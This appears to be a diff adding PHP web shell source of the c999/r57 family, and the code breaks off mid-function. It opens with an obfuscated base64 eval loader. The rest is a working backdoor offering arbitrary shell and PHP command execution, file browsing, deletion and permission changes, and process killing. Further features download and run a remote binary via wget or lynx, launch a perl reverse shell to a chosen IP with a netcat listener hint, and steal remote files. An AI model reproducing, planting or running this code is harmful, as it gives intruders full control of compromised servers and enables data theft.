+$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); +if (!$usefsbuff) +{ +if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ +if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; } +elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";} +elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";} +if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);} +elseif ($actpastebuff) +{ + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; +} +elseif ($actarcbuff) +{ + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; +} +elseif ($actpastebuff) +{ + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; +} +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ +@chdir($chdir); +if (!empty($submit)) +{ + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + +} +else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} +echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ +if (count($ls_arr) > 0) {$list = $ls_arr;} +else +{ + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} +} +if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} +else +{ + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; +} +} +if ($act == "tools") +{ + + + + + + +?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Bind Functions By r57 </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"> + </div> +<form action="<?php echo $surl; ?>"> +<b>Bind With Backd00r Burner</b></br><form action="<?php echo $surl;?>"><input type=hidden name=act value=tools><select size=\"1\" name=dolma><option value="wgetcan">Use Wget</option><option value="lynxcan">Use lynx -dump</option><option value="freadcan">Use Fread</option></select></br></br><input type="submit" value="Burn it bAby"></form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + + + <b>Back-Connection :</b></br><form action="<?php echo $surl;?>"> <b>Ip (default is your ip) :</br> </b><input type=hidden name=act value=tools><input type="text" name="ipi" value="<?echo getenv('REMOTE_ADDR');?>"></br><b>Port:</br></b><input type="text" name="pipi" value="4392"></br><input type="submit" value="C0nnect ->"></br></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> + + </center> + </td> +</tr></TABLE> + + + + + + + +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>File Stealer Function Ripped fRom Tontonq 's File Stealer ... </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><b>Safe_Mode Bypass</b> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + <textarea name="erorr" cols=100 rows=10></textarea></br> + <input type="text" name="nere" value="<?echo "$real\index.php";?> "size=84> + <input type="submit" value="Write 2 File !!"> + + </form> + + + + + + + + + + + + </div> + + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + Dosyanin Adresi ? = <input type="text" name="dosyaa" size="81" maxlength=500 value=""><br><br> +Nereya Kaydolcak? = <input type="text" name="yeniyer" size=81 maxlength=191 value="<?php echo "$real/sploitz.zip"; ?>"><br><br> +<input type=submit class='stealthSubmit' Value='Dosyayi Chek'> +</form> +<br><br><br> + + + + + </center> + + </center> + </td> +</tr></TABLE> + + + + + + + + + + + + +<?php + +if (isset($_POST['dosyaa'])) +{ +dosyayicek($_POST['dosyaa'],$_POST['yeniyer']); + +} +if (!empty($_GET['ipi']) && !empty($_GET['pipi'])) +{ +cf("/tmp/back",$back_connect); +$p2=which("perl"); +$blah = ex($p2." /tmp/back ".$_GET['ipi']." ".$_GET['pipi']." &"); +echo"<b>Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...</b>"; +} +if (!empty($_GET['dolma'])) +{ +$sayko=htmlspecialchars($_GET['dolma']); +if ($sayko == "wgetcan") +{ + +myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + + +} + +else if ($sayko =="freadcan") +{ +dosyayicek($adires,"sayko_bind"); +myshellexec("./sayko_bind"); +} + +else if ($sayko == "lynxcan") +{ +myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + +} + + + + + +} + +if (!empty($_POST['erorr'])) +{ + + + +error_log($_POST['erorr'], 3, "php://".$_POST['nere']); + + + +} + + + + + + + + + +} +if ($act == "processes") +{ +echo "<b>Processes:</b><br>"; +if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} +else {$handler = "tasklist";} +$ret = myshellexec($handler); +if (!$ret) {echo "Can't execute \"".$handler."\"!";} +else +{ + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ +echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; +} +} +if ($act == "eval") +{ +if (!empty($eval)) +{ + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); +} +else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} +echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ +if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") +{ + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} +} +else +{ + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if 